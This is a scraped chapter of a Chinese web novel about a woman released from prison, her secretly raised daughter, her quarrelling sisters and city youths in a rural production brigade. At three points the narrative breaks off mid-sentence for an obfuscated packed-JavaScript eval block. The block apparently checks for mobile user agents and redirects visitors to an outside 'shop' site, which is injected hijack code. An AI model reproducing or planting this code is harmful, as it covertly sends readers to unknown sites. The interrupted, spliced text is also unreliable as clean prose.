洗干净的酸豆角切成丁儿,姜四儿让姜小芯去菜园子里扯一把葱过来。 姜小芯去了菜园子,熟练地冲着一地的小葱而去。 “四姐姐,摘好了。” 姜小芯捧着一把葱,跑着跑着,在厨房门槛外摔倒在地。 摔倒的原因不是因为她跑得快,而是因为塑料拖鞋断开了半边。 这是大姐姐给她买的塑料拖鞋,和生产队那些大部分村民穿的自制木底板拖鞋不一样,这塑料拖鞋是好东西,村里一般人家舍不得花钱买的好东西。 所以姜小芯摔倒在地上时,没有因为摔疼了哭,而是因为花钱买的塑料拖鞋彻底坏了而呜咽地抽泣着。 姜四儿听到孩子的哭声心都要碎了,一边把孩子扶起来,一边保证能帮她把鞋子修好。 至于怎么修,那太简单了。 姜四儿拿起火钳伸进灶台里,等把火钳尖尖烧红,姜四儿拿出火钳往拖鞋上摁。 瞬间厨房里溢满了塑料烧焦融化的难闻气味。 融化后的塑料再粘在一起,等冷却后,这塑料拖鞋也就修好了。 姜小芯小脚脚蹭进鞋子里,果然,鞋子可以继续穿了。 这个四姐姐挺厉害的,姜小芯看向四姐姐的眼神不再陌生,被四姐姐搂着时也没那么抵触了。 孩子摘来的一把葱已经快被太阳晒死了,尖尖都是枯黄的,不能吃。 姜四儿处理好葱,用陶瓷勺子舀了点猪油下锅,然后放酸豆角和辣椒爆炒,几十秒后撒上葱花出锅。 一脸盆的陈米炖芋头,加上一盘子酸豆角,这是姜家一家人的早饭。 就这点子猪油炒出来的香味,从地里干活回来做早饭的乡亲们顺着北风都能闻到,纷纷咽着口水羡慕姜家的好伙食。 谁叫姜二丫是食品站的呢,卖猪肉的时候能经常顺点猪肉沫子回家。 —————— 乡下人睡得早,干了一天的农活,回家吃了晚饭洗漱完,坐在床上摇晃着扇子就早早睡着了。 扯开烦人的蚊帐,姜四儿打开房门,搬着把小板凳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586545|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在门槛边看星星。 她为自己的未来而发愁。 正想着这些有的没的,隔着小菜园的姜家木头大房子‘吱呀’一声,一扇木门被打开,从里面走出一个粉妆玉琢的小娃儿。 寂静的夜里,除了青蛙叫声就是那塑料拖鞋独有的‘沓沓’声。 听着小家伙的脚步声,姜四儿心头一软,从菜园子里走了过去,来到姜家院子。 姜小芯没看见四姐过来,脚步‘哒哒’地跑向院子里那口水井。 整个村子里,只有姜家的小院子里才单独有着一口水井,其他地方都是好几户人家共用一口井。 而姜家之所以有这么好的生活水平,完全是因为大女儿嫁了一个好人家。 伸出一只小手使劲摁着压手柄,姜小芯直接伸着脑袋,把整张小脸都搁在出水口那里。 可惜姜小芯力气太小了,一只小手摁不动那压手柄。 ‘咦?’姜小芯苦恼地看着没出水的井头,直接起身用两只手摁压。结果那压手柄还是纹丝不动,姜小芯干脆整个身体都扑了上去,这才摁动了压手柄。 在大树下看着的姜四儿心疼孩子,又暗自笑话小孩子的笨拙可爱。 姜小芯拼尽了全力,随着水井上的压手柄被摁下去,井中冰冰凉凉的井水也从井头出来了。 那清澈的井水一出来,姜小芯立马松开手,张着嘴,用整张小脸去接水。 喝着微甜又清凉的水,姜小芯用小手抹着脸上的水珠儿,开心地拍拍自己的小脸蛋儿。 天气太热了,她在小小的房间里和二姐挤成一团,差点被热死。如今这些水珠儿弄在脸上,姜小芯觉得真凉爽真舒服。 再次摁压水井,姜小芯这次把身上都弄湿了,才蹦蹦跳跳地往回走。 “姜小芯。”姜四儿突然出声。 ??? 走到自己堂屋边的姜小芯一扭头,看到了月光下身体单薄的四姐姐。 迈着肉嘟嘟的小腿跑过去,姜小芯热得用小手扇了扇风,“四姐姐好。” “你好,”姜四儿心里软得一塌糊涂,“大晚上的出来干什么?” “喝水水。”姜小芯小手指指着那边的水井。 “喝水就喝水,为什么把身上都给弄湿了?感冒了怎么办?” “可是好热呀。”姜小芯嘟着小嘴抱怨。 这里还没通电,更加没有电风扇,小孩子热得受不了了便出来用凉水浇在身上。 姜四儿突然变戏法似的从身后拿了个蒲扇出来,给姜小芯扇着风。 注意着小孩子身边的蚊虫,姜四儿突然脑子一抽,“芯芯,我给你看一个好玩的。” 姜小芯很感兴趣地瞪大了眼睛,等着看是什么好玩的。 姜四儿把裤腿都卷起来,伸着腿又把手电筒的光打开照着自己小腿,故意让蚊子寻着光线过来咬。 有只蚊子一过来,姜小芯就叫着有蚊子要去打,姜四儿阻止。 就这么等着等着,等到小腿上爬了很多密密麻麻的蚊子,姜四儿一巴掌拍过去,一下拍死了满满一巴掌的蚊子。 “你看,好不好玩。”姜四儿边说边笑。 姜小芯:“..............” 呜~姜小芯委屈地垂下长长的眼睫毛,这个四姐姐好奇怪,是个怪人。 姜小芯头也不回地跑了,跑回了堂屋把门掩好。 姜四儿:“............” 跑什么?不好玩吗? 以前贺明峥这么干时,姜四儿笑得前仰后翻。 同样的招式,怎么姜小芯觉得不好笑? ‘这小孩儿……没有遗传我俩的幽默风趣。’姜四儿暗戳戳想。 9. 重修 11号,趁公公工作和婆婆带着儿子去县城亲戚家,姜大妞赶紧和供销社的同事说了声要离开一会儿,然后带了礼物回来看家人。 骑着单车往娘家赶,姜大妞心里七上八下,心情期待又忐忑。期待看到几年未见的四妹,忐忑该怎么面对受苦受难的四妹。 生产队的劳动力都下地干活去了,姜家家里只有在扎扫帚的姜四儿。 当单车停在姜家,还没看到四妹的身影时,姜大妞就已经心头一酸落下泪来。 在厨房里干活的姜四儿听到有脚步声从外头逼近,也没出去看,等那脚步声停在厨房门槛边,姜四儿抬头一看,大脑一片空白。 是大姐来了。 “大姐。”姜四儿立马站了起来,手忙脚乱地给大姐搬椅子。 “对不住,这几天太忙了,没及时回来看你。”姜大妞带来贰市斤猪油、贰市斤保健糖果和一篮子鸡蛋,都是拿来给四妹养身体的。坐牢这几年,想必身体亏了气血,得多补补。 姜大妞早就想回来看看四妹,只是公婆听闻姜四儿出狱后心里不踏实,不想让姜大妞过来,不愿意和坐过牢的人扯上关系。 姜四儿理解大姐的为难,并不在意那么多,也不好意思接受大姐带来的礼物。 俩姐妹为了点礼物推来推去,最后手拉着手四目相对时,‘噗哧’一声一起笑了起来。 还记得小时候爸妈和亲戚们就会为了一点礼物这么客气地推来推去,现在她们长大,这些客气的事客套的话也轮到她们了。 “四妹,收下吧。”姜大妞劝道。 几姐妹中,姜四儿最尊敬最喜爱的就是大姐,大姐温婉贤淑,脾气是真的好,也不会阴阳怪气那一套。大姐苦劝,那就是真的希望姜四儿能收下。 “谢谢姐。”姜四儿不好意思再拒绝大姐的好意。 今天姜大妞给四妹送东西也不为别的,主要是四妹受了这几年的苦,想着给带点吃的过来补补身子。 就是可惜没有多余的糖,煮荷包蛋里放点猪油,再搭配点红糖,那可是大补。 “供销社现在也没有糖供应,有些生产的妇人求了我们供销社的主任好几回,以为我们不帮忙,殊不知是真的没糖,”姜大妞坐下和四妹唠家常,“让咱爸妈去生产队问问,看看哪家还有没有去年甘蔗收成后分的土糖,咱们拿钱去别人家买。你小脸儿这么白,得好好补补。” “姐,不用补,我身体好的很。”姜四儿是真的不想再麻烦家里。 她每天过得都挺忐忑的,因为坐过牢的身份,在家待着总会不自觉多想, 老爸声音稍微大点,她就担心老爸是不是嫌她。 老妈和几个姐姐偷偷摸摸说话,她就忧心是不是在背后说她坏话,厌烦她了。 这种寄人篱下的感受让她时时刻刻活在不安中,她拼了命的在家干活也是想为了证明价值,证明她不是吃白饭的。 “真的不用再麻烦家里给我想办法买红糖,你这样我心里有负担。”姜四儿鼓足勇气拒绝大姐的好意。 姜大妞听了这拒绝的话没生气,仔细想了想,道:“好,姐听你的。” “谢谢大姐。”姜四儿松了口气。 “本来就是我该做的,”大妞哽咽道,“四妹,你长大了,知道拒绝别人,这一点很好。” 四妹从小善良,别人欺负她骂她,她很少反击,大多时候弱弱地顶嘴回去。 她虽然懒洋洋的不喜欢动弹,但有人找她帮忙干活她会干得比谁都起劲。 都说她性子软,好欺负,不懂得拒绝别人。 可现在看来,四妹成长了不少,懂得说出心里的真实感受而拒绝别人。 “我坐牢这几年受了不少欺负,当然成长了,”姜四儿给大姐讲自己在坐牢期间的故事,“我刚进去时那些女犯人都指使我干活,我总想着顺着她们就会让自己的生活好过一点,但她们后来反而欺负我欺负得更厉害。后来我们去了劳改农场,那里有劳教干部教我们识字教我们看报听广播,还给我们讲道理。我明白了一味忍让不会换来和平,只会节节败退直到再也没有立足之地…………” 姜四儿喋喋不休的讲述受过的苦遭过的罪,这些她都没和其他人说过,只敢和最信任的大姐说。 姜大妞听得认真,听到四妹冬天被女犯人扒衣服浇凉水,气得眼泪直流。 听到四妹被那伙人拿尿壶的脏水往头上泼,掩面而泣。 再听到四妹因为不肯吃沾了姨妈血的馒头而被几个女犯人扯着头皮扇巴掌时,姜大妞直接吓得面无血色。 见大姐吓成这样,姜四儿不好意思地挠挠头,“大姐,你别怕,都过去了。” 四儿想着自己还有很多更凶残的事没说呢,不过大姐温温柔柔的,还是别吓坏她了。 “…………”姜大妞猛地后退几步,结巴道,“四………四妹,你,你…我没想到坐牢这么苦,那些人怎么这么坏。都是女人,怎么就……怎么就这么坏。” “和我关在一起的都是女犯人,她们要是不坏也不会被抓进去了,里面有各种各样的坏人,拐卖妇女儿童的,逼迫良家妇女卖身的,还有女劫匪,女小偷,杀人放火的也不少,”姜四儿蹙眉,“也不知道怎么回事,我一进去她们就盯上我了,为什么她们就认定我最好欺负呢。” 姜四儿知道自己的性格是那种不爱与人发生冲突的,一般发生什么事她都会忍让。 可……别人到底怎么一眼看出来她的性格的? 她曾经拿镜子照了很久,也看不出来镜子里的自己是个好欺负的人。唯一能看到的,就是自己这张脸好看得无法挑剔。 姜四儿说起这些往事心情只是有些激动,而姜大妞有些坐立难安,借口供销社很忙便急着骑上单车离开。 等姜家人从地里干活回来吃饭,看到桌上一盘葱煎蛋,脸色有些不好看,以为姜四儿拿走了瓦罐里放着的鸡蛋,那可是要拿去换口粮的东西。 爹妈脸色一垮下来,寄人篱下的姜四儿就心脏不安地跳动着,暗想自己哪里做错了惹得家里人不高兴。 从食品站下班回来的姜二丫问鸡蛋怎么来的,姜四儿解释是大姐今天送来的。 “你大姐今天来过了?什么时候的事?你怎么不去地里通知我,我好回来一趟。”姜木匠唉声叹气。 家里离公社不算太远,但乡下忙,又没交通工具,没重要的事一般不会去公社。今天好不容易大女儿回来一趟,姜木匠没看到,心里很是思念。 姜木匠这辈子最喜欢的是孝顺又能赚钱的大女儿,春花最疼的是姜老三,这是姜家人都知道的事。 “还是大女儿好。”姜木匠感慨着坐下吃饭。 姜二丫后上桌,屁股还没坐稳,就赶紧夹了一大块葱煎蛋放在了姜小芯碗里。 一旁的姜老三和方感勇夫妻俩看得心急如焚,也赶紧去夹菜,却来不及了,剩下的煎蛋都被姜木匠一个人夹走了。 “…………”姜老三不敢瞪老爹,却是死死冲二姐翻了好几个白眼。 看到二姐对姜小芯那么好,姜老三却突然想起了一件往事。 当年姜四儿未婚先孕,家里人帮着向外面隐瞒怀孕的事,想着等孩子出生了再偷偷扔了,就不会有人知道,也不会败坏家里的风气。 姜四儿却不急,她笃定情郎会接走她和肚子里的孩子。 看着要狠心扔掉未来外甥的父母,和那个大着肚子还脑袋空空等情郎的四妹,姜二丫劝家里人做两手准备,让妈妈春花同时假装怀孕,到时候真有变故也来得及处理。 最后孩子千方百计地瞒着生了下来。 姜木匠和春花商量后把孩子扔远一点,扔到其他公社去,然后春花假装流产。 姜四儿跪下求情,说那个男人一定会接走她和孩子,与此同时姜四儿又不愿说出那情郎的名字。 家里人不同意,等了几个月的情郎,人呢?影儿都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586546|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见着。 两方抱着孩子拉扯,姜二丫死死抱着孩子,让姜大妞去劝父母。 姜木匠夫妻俩最听大女儿的话,家里大事都会过问大女儿。大女儿心疼四妹,决定将孩子留下来,那就留下来。 于是姜家人对外宣布春花人到中年生了个小女儿,取名姜小芯。 孩子出生一个月后,就发生了那件让姜四儿坐牢的事。 现在想想,当初姜二丫让春花假装怀孕的事就很扯淡,为什么要多此一举? 姜老三想啊想,恍然大悟,从一开始,从知道姜四儿未婚先孕的那一刻,姜二丫就已经想着要将这小野种留在姜家养着。 真没想到刀子嘴的二姐还挺心善,姜老三心里颇为不屑,对二姐越发看不上。 —————— S市,下班回到筒子楼的贺明峥刚一打开自己房门,就发现了不对劲。 他房间里的东西被翻过。 粗略检查一番,迪奥的手拿包和一些项链手镯还在,那个可以手提的lv大包和梵克雅宝的耳钉以及几件漂亮裙子不见了。 “小贺啊,”邻居同事从外面走过,“你外婆和你舅妈今天过来了一趟,说给你带了新鲜芋头。你都这么大了,你外婆还拿你当小孩呢,你可真幸福,以后要好好孝顺她啊。” 贺明峥闭上眼,一拳头将房门的锁芯那块给砸了。 话多的同事吓了一跳,急忙跑开。 另一边,将外孙房里搜刮一番的老婆婆回到家迫不及待把衣服首饰包包都给包好。 “快给你单位的司机说说,看有没有顺趟去崇盛公社的,让他们把东西给咱们孙女儿带过去,”老婆婆唉声叹气,“我苦命的孙女儿,下乡劳动受罪了,风吹日晒的。” 身为运输队单位的调度员,贺明峥舅妈对路线一清二楚,“去梨梨公社的没有,但有趟路线会经过她们县,我到时候让我们单位的司机师傅多走点路给梨梨送去。” “好好好,咱们多给装点东西,听说下乡的生产队没有票,吃啥都不方便,咱们给梨梨多放点糖票和全囯粮票,到时候好兑换,”老婆子收拾着东西又有些疑惑,“这包这衣服首饰也不知道贵不贵,啥牌子都不知道。” “管它啥牌子,贺明峥他爹在香江的朋友给送的,就算没有多贵那也是新奇玩意儿,咱们不亏。” “对不对,漂亮就行,看这裙子,多漂亮。” 一个星期后,在生产队地里打农药的程月梨被人叫上岸。 “程月梨同志,你家里人托我给你送来的东西,自己清点一下。”卡车上的司机大声喊。 生产队里的人很少见到卡车,整个公社也见不到一辆卡车。 一时间,很多干活的人从地里爬起来,都跑来围着卡车看。这里摸摸,那里碰碰。 姜老三和丈夫敲敲卡车的铁皮,听着清脆的声响哈哈大笑。 姜小芯和其他几个小孩儿,被邻居爷爷和大娘们举着爬上卡车的大轮胎。 司机见了也不阻止,孩子们开心地爬大轮胎玩,他听着孩子笑声也开心。 程月梨从司机手里接过重重的包袱,向他道谢。 司机让她当场打开清点,免得少了什么东西赖在他头上。 程月梨对着包袱里老妈写的清单,一一核对。 一个筒妆外观的lv包,里面塞了很多东西,三条折叠好的裙子,一个首饰盒,还有一些糖票粮票。大包旁边,还放了几盒饼干和甜点以及几本书。 清点后确定没问题,程月梨收下了东西。 司机启动车子离开,被大人们早就抱下轮胎的孩子们依依不舍地看着。 卡车轰鸣声响起,屁股后头排气管冒烟,姜小芯和一群孩子跟在卡车尾气后头跑着,被卡车尾气一熏,孩子们熏得灰头土脸,发出奶声奶气的笑声, “真好玩儿~” 孩子们三三俩俩地手牵着手,依依不舍地目送卡车离去。 10. 修文 等卡车离开了很久很久,生产队的人才想起来程月梨同志收到的好东西。 不管是饼干还是点心,程月梨都很大方地分享给了在场其他人。 程月梨爸爸是运输队的司机,妈妈是运输队的调度员,她不缺吃喝,家里有钱有物资。 姜老三有幸在拥挤的人群中以最快的手速抢到了一块饼干,掰成两半和老公方感勇分享。 去抢东西吃的都是女同志,男同志们站在远处看着,想吃却不好意思抢,所以站着那儿等着自家婆娘把东西抢了分享给自己。 春花也抢到了一小块绿豆糕,分享给了姜木匠。 生产队长收到了程月梨主动给的一块巧克力,路过的大队长也分到了一块。生产队长和大队长把没见过的东西往兜里放,准备带回家给家里的孙儿。 巧克力是程月梨最爱的,她只舍得分享给两个队长和那个一直暗恋自己的大块头男知青。其他人伸着手要,程月梨都舍不得给上一丁点儿。 她家里有钱,爸爸是司机,不缺饼干吃。但是巧克力这东西她也是很少能吃到,所以根本不会随便分享出去。 “小程同志,这是什么?吃着牙齿黑乎乎的。”大块头男知青嘿嘿一笑,露出黏上巧克力的几颗牙。 程月梨嫌弃地踹他一脚,“这是巧克力。” 不过说来也奇怪,这次的巧克力包装和牌子都是她不认识的。 晚上下工后回到知青点,程月梨整理爸妈给自己送来的东西。 那些全国通用粮票再加上钱,可以拿着去粮站兑换粮食和食用油; 肉票在乡下没什么大用,去食品站的话可以让肉价低一点儿; 这个圆筒大包,程月梨不认识什么牌子,但也觉得装东西好用,所以一股脑将剩下的吃的都塞了进去。 至于衣服,有三条裙子, 一条淡粉色齐膝碎花裙,手工缝制着一朵朵颜色各异却相近的小花,用着薄纱和另一种程月梨不认识的材质,裙边自然垂下,仙气飘飘; 一条黑色吊带长裙,腰间是白色小巧腰带,精致时尚; 最后一条裙子是淡蓝色短裙,在膝盖以上,可以搭配白色衬衫。 程月梨看着这几条裙子爱不释手,有些裙子在乡下穿不合适,但是光看着就已经令人心情大好。 ‘也不知老爹又去了哪些地方出差,给我带来这么多洋气的漂亮衣服,连那巧克力也是之前从没见过的。’程月梨开心得摇头晃脑。 屋子外,有去学校教课的女知青回来,叽叽喳喳说着刚才回来路上遇到的事。 “姜家那小女儿,太馋嘴了,见到大队长家孩子吃巧克力,她在一旁馋得口水直接流了出来,大队长家婆娘见了故意跑到姜家说笑,把姜家人惹恼了,刚才姜老三揪着姜小芯的耳朵回家,边回边骂那小孩儿丢人现眼。” “难怪,我说我刚才在后面小路上捡柴的时候隐约有听到小孩儿哭声呢。” “哎哟,笑死我了,我就喜欢看小孩子哭,太可爱了,我也想生一个姜小芯那么漂亮的孩子。” “对呀,还真别说,姜小芯挺乖的,馋得流口水也不上手抢吃的,不像大队长家那小孙子,平常老在别人手里抢东西吃,伸手就抓,那手速快得哟。” “小声点,别让大队长听到了。” ………… 知青点两个女知青叽叽喳喳,漏风的木头房子里,其余的女知青听得一清二楚。 程月梨也听到了,她十几分钟前也听到了路边有小孩哭声,原来是姜小芯被她三姐给骂了。 程月梨以前看不起乡下,也看不起乡下小孩。但她来到这里以后,发现乡下孩子和城里孩子也没区别,都只是孩子罢了,并不可怕。 乡下也并不像亲妈说的那么脏乱差,反而治安比城里好,环境比城里好好,就算是下地干活时沾上的泥土,那也不脏。 下乡这几个月,程月梨其实挺喜欢这里的,虽然也会遇到讨厌的人,但是哪个地方没有讨厌的人呢。至少下乡领到了国家给的一笔安置费,头一年还能每个月免费领三四十斤口粮。 她在渐渐融入这里的环境,对这里的人也没有一开始那么排斥了。 ———— 姜家, 姜老三揪着姜小芯的耳朵回家后把她骂了一顿,说她馋得丢了家里人的脸。 姜四儿想去哄孩子,又不敢,她自己都是刚出狱的一个麻烦,不敢在此时多说什么。 只有从食品站下班回来的姜二丫和老三吵了起来,觉得三妹不该在外面那些外人面前欺负孩子,这样会有损孩子的心理健康。 姜老三翻了个白眼,“什么健康?” “心理健康!” “没听过这词,又是从哪里学来的?” “村小的知青老师说的,心理健康和身体健康一样重要,在外面面前教训孩子会让孩子变得胆怯——” “停停停,听不懂,别说了,听你说话就烦。” “这是你和我说话的态度吗?我是你二姐,你尊重过我吗?” “我凭什么尊重你?你比我年纪大我就要尊重你?你他妈算个什么东西。” 方感勇听到这,烦闷地双手捂住脸,他真的很烦媳妇儿说脏话,他是个读书人,他喜欢体面的人,不喜欢姜老三这种一动怒就骂脏话的人。 他是造了什么孽,姜老三太会隐藏了,婚前根本不知道她是这样出口成脏的人。 正在姜老三和抱着孩子的姜二丫吵得屋顶都快被掀飞时,程月梨上了门。 “大娘,”程月梨和唉声叹气的春花打招呼,“我提了一斤米过来,想和您换五斤豆角,成吗?” “成,当然成,”女儿们吵架时在一旁装死的春花和姜木匠开心地蹦哒起来,跑去菜园子里摘新鲜豇豆。 有外人在,刚才还暴躁骂脏话的姜老三红了红脸,又恢复了那种腼腆模样。 姜二丫瞪了一眼三妹,三妹这种只会窝里横的废物。 “小程同志,你坐。” 姜二丫给程月梨搬了个凳子。 看在一直挂在姜二丫脖子上的姜小芯,程月梨笑道:“你小妹可真黏你。” “那当然,孩子我从小带大的,从一个月大的时候就是我一直带的。”姜二丫心里有些居功的意思,是为了提醒所有人,孩子她带大的,只能和她最亲。 程月梨笑着捏了捏姜小芯水灵的脸蛋儿,“听说你馋大队长家的巧克力馋得流口水了?” 那孩子听了不好意思地咧嘴笑,傻里傻气的。 “哇,你还挺像你四姐,见了人也不吭声,就只知道张着嘴傻笑。” 程月梨这么一打趣,姜四儿不好意思地又笑了,姜二丫却是突然沉下了脸浑身发麻,心里吃醋酸得厉害。 作为全场唯一的外人,程月梨不知道姜家这些乱七八糟的事,她见姜小芯脸上还没干的泪痕,终于下定决心,忍下不舍,给孩子分享点吃的。 “姜小芯,你闭上眼,姐姐给你巧克力吃。” 姜小芯立马紧闭双眼。 “伸手。” 姜小芯又赶忙伸出手,两只小手捧在一起。 然后只听见哗啦啦的声音,有什么落在手心。 当那些红色的,黄色的,绿色的巧克力小豆子哗啦啦倒在姜小芯手心里,姜家其他人也都不由自主的围了过来。 天呐,这是什么? 好漂亮,和大队长孙子今天吃的那黑色巧克力不一样。 他们没见过这种东西。 等姜小芯睁开眼看见这些五颜六色的巧克力豆,第一时间捧给二姐看。 方感勇馋得咽了咽口水,问,“程月梨,巧克力不是黑的吗?这是糖果吧?” “哈哈,我一开始也以为是糖果,刚才在知青点清点东西的时候吃了几颗,发现里面是牛奶味的巧克力,只不过外表是各种颜色的糖衣。” 那些锥形的黑色坚果巧克力除了给大队长和生产队长各一小块,其他的都被程月梨吃完了。 所以程月梨发现这个巧克力豆时,决定过来给姜小芯分一点。 姜小芯手小,倒在她手里满当当也只有十几二十颗。 孩子首先就给二姐一颗,然后自己吃一颗。 当她还要给二姐时,二姐不要了,找了个报纸撕了一小块,把剩下的巧克力豆包着,让孩子藏好以后慢慢吃,别一口气吃完了。 方感勇吃不到,有些可惜,“程月梨,你有时间问一问你爸,在哪弄来的这种东西,我还是第一次见呢,真新奇。” 同为知青,程月梨和方感勇关系也不差,回道:“这还用你说,我肯定要问我爸妈的,我也觉得奇怪,他们这次给我送的东西是我从没见过的。” 几个人大人说话间,姜小芯偷偷把用报纸包着的巧克力豆藏在厨房饭桌的抽屉里。 在姜家伏小做低当透明人的姜四儿鼓足勇气凑了过去,“芯芯,能不能再给我看一眼你那个巧克力,好漂亮啊。” 姜小芯点头,又把报纸拆开。 “好漂亮!”姜四儿看了一眼又一眼,红了脸,厚着脸皮问,“芯芯,可以给我吃一颗吗?就一颗。” 姜小芯立马给四姐拿了一颗红色的豆子。 小小的一颗精致可爱,姜四儿放在舌尖的瞬间,表面糖衣融化,甜滋滋的美味瞬间爆炸,姜四儿舍不得嚼,就让整颗巧克力豆慢慢地在嘴里融化完。 姜小芯一直观察着四姐姐的反应,见她吃得开心,姜小芯也歪了小脑袋,笑嘻嘻地摇头晃脑。 “还可以再给我一颗吗?”姜四儿问完就后悔,怪自己太贪心。 但是姜小芯很大方,又给四姐姐拿了一颗。 一直偷偷注意小妹的姜老三眼珠子一转,挑拨离间道:“哇,小妹你真偏心,给四妹拿了两颗巧克力豆,二姐好歹还得了一颗,我可是一颗也没有。” 老三知道二丫平日里最爱吃醋,故意这么说。 果不其然,姜二丫一听这话就寒了心,半晌不说话,神情低落地坐在一旁。 ‘白眼狼,果然是白眼狼。’ ‘别人家的孩子养不熟。’ ‘果然亲生的就是不一样。’ ‘养再久也白搭,还是和她亲妈最亲。’ ………… 姜二丫已经在脑海中脑补了一场大戏,只觉得姜小芯都恶心了起来,断定她忘恩负义白眼狼一个。 这孩子一个月大的时候开始由她姜二丫带着,不管是下地干活还是后来去了食品站,都是姜二丫带着。 后来姜小芯能自己走路了喜欢在生产队地里玩泥巴,在公社食品站工作的姜二丫才没有时时刻刻把孩子带在身边。 如今不得了了,有了好东西吃,给她亲妈姜四儿两颗,才给自己一颗。 心寒,寒心。 姜二丫面如死灰,只觉得被背叛。 挑拨离间的姜老三心里得意。 姜小芯啥也不明白,还巴巴上前给三姐和三姐夫分享巧克力豆。 姜四儿忙着解释是自己嘴馋找孩子要的东西,和孩子无关。 几姐妹氛围怪异,程月梨看不懂,只等着豆角。 摘完豆角的姜木匠和春花这时候也从菜园子里出来了。 看着一大堆明显比五斤多的豇豆,程月梨连摆手,“这太多了。” “我们也没有称,但肯定比五斤多,小程同志你拿着,以后再换口粮还来我们这里。” “谢谢你们,真的太感谢了。”程月梨心满意足地带着豆角离开。 生产队一天到晚事儿很多,现在农忙每天下地干活,等农忙过去,他们还要免费给修路修水渠,给城市做建设。所以很多人其实累得没精力去管理自家菜园子,菜园子里一般也就两三个菜。 知青点旁边有生产队给他们的一块自留地,但知青们大多也不愿意种菜,就算种菜也没那么得心应手,收成不太好。 所以平日里程月梨想吃菜了就拿口粮去别的社员家换。 有时拿大米换豇豆,有时拿大米去别的乡亲们家换凉薯,整个一暴发户的奢侈做派,这也导致程月梨经常一个月口粮都不够吃。 姜家就爱和程月梨换口粮,而且姜木匠会做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586547|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,每次给程月梨换东西都很大方,会多送一点,这也导致程月梨每次想换东西都是第一时间问姜家有没有,姜家没有的她才会去别家换。 —————— S市,贺明峥再次下班回家,同事关心道:“你外婆今天又去你宿舍了,结果掏出钥匙发现打不开你房间门。俗话说人这辈子最遗憾的就是子欲养而亲不待,你外婆也老了,多体谅体谅长辈。” 贺明峥点头说是,心里却根本没听进去。 单位这些同事领导都这样,以和为贵,谁要是破坏和气谁就是罪人,所以贺明峥也懒得多加争论,没有人能感同身受,大多是站着说话不腰疼的。 贺明峥爸妈都是厂里普通工人,他舅舅是司机,舅舅家条件更好。 两家很少往来,主要是舅妈家瞧不上他家。 这也无妨,两家人井水不犯河水。 几年前,贺明峥刚返城,和亲爸为了姜四儿的事斗智斗勇。 就在一切都在往好的方面发展时,贺明峥亲妈在厂里受了伤,被掉落的机器零件砸到头。 工厂让医院用最好的药,但几个月后老妈还是离世了。 离世前老妈很想吃上一口香蕉,贺明峥父子在外面买都买不到,他们家也不缺这点钱,但是周围没地方卖这东西。 甚至厂里领导都托关系去外面询问,想看哪个外省有在卖香蕉。 这时候突然有人告知贺明峥舅舅刚送完一批货回来,回来的时候带了一袋香蕉。 几十根香蕉黄灿灿的,摆在家里的桌面上。 在贺明峥上舅舅家门的时候,舅妈飞速把一袋香蕉往桌子底下塞,贺明峥只来得及看上一眼那香蕉把。 “我们家没香蕉,哪有那些好东西。” “舅舅,舅妈,我拿钱和你们买,出十倍的价钱。” “这不是钱不钱的事,是真的没有。”舅妈叹道。 贺明峥没再看舅妈,而是转头和舅舅承诺,“好,我不买,我借。就借一根,借了我会还,还多少都行,你们开个价。” 舅舅做不了主,转头问自家媳妇儿的意思,媳妇儿脸色一变,“借?你还得起吗?” 最终贺明峥没从舅舅舅妈这儿拿到香蕉,等他老爸拿着厂领导批的的条子特意去外省买上成捆的香蕉回来时,贺明峥老妈已经永久地闭上了眼。 没能让人在离世前吃上一口心心念念的东西,这是贺明峥父子俩心中永远的遗憾。 那时候贺明峥老爸去找舅舅家质问,却被舅妈怼了回去。舅妈那嘴皮子,没人说得过她。 后来回母亲老家发丧,办丧事的人看到贺家是从城里来的,狮子大开口,想多加一倍的钱,贺明峥他爸和那些人争执了起来。 贺明峥舅妈当着众人的面笑道:“妹夫别争了,不就几个钱的事吗,你要是真舍不得,这钱我替你出了。” 话音落下,贺明峥他爸突然冲了上去把贺明峥舅舅舅妈都打了一顿,那是贺明峥老爸第一次打女人,被厂里领导同事知道后遭到了厂里的排挤和唾弃。 事情闹大后,连带着贺明峥也受到点影响。 再后来,贺明峥老爸在一个夜晚跳下了水,冒着生命危险游去了香江。 这之后几年,贺明峥一个人生活,和舅舅舅妈家也断了联系。 但贺明峥单方面断联系不够,他那个外婆在老了病了总是要麻烦到贺明峥。 “你舅舅舅妈给了我医药费,你就必须来医院照顾我。” “你在医院照顾我几天,你舅舅舅妈还想给你伙食费,你怎么有脸对他们摆脸色?” “我不要你的钱,我就要让你过来照顾我。” ………… 种种诸如此类的事,数不胜数。 